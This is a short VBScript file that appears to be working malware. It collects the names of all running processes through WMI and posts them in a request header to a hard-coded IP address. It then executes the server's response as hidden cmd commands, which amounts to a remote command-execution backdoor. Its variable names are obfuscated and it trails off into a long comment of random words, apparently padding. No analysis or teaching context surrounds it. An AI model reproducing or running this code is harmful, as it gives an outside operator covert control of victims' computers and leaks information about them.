wbkujleq = "cmd"
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
dim all_process
if wbkujleq = "a" then
MsgBox "Libr"
end if
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objProcess in colProcesses
all_process = all_process & objProcess.Name
fpxyegl = "Shell.Application"
helhbbxp="http://66.42.63.27:2351/wxncevmm"
qtlnpt="WINHTTP.WinHTTPRequest.5.1"
With CreateObject(qtlnpt)
.Open "post", helhbbxp, False
.setRequestHeader "a", all_process
qtlnpt2 = .responseText
CreateObject(fpxyegl).ShellExecute wbkujleq, qtlnpt2 ,"","",0
End With
'budget alley rescue gun absent muffin balcony mechanic carry person brief organ belt output bulk nose blade pole cage mountain bachelor right crane slab fatal staff erode snack easily stomach effort require buzz pool board much west link whisper indoor twist goat uncle fringe stereo ecology purpose elbow resource cactus mask absurd lift wheat give sustain fat slogan dutch shaft dice remove common report buyer march weapon ignore vanish impose time helmet toddler fault session erupt run curious reopen bus monster zero leopard web harsh ticket fog sport ensure roof detail protect crystal remind chaos paddle buyer march trial gaze truck gift split dress segment desert reflect error run cupboard owner attract monkey wasp join weather hard sunset focus secret depth receive category nest artist night athlete isolate upon hurdle trend explain similar end skate dentist pepper breeze negative afford language voice hospital toy galaxy soon exit scare domain ride delay price carry mercy become prosper brown miracle alc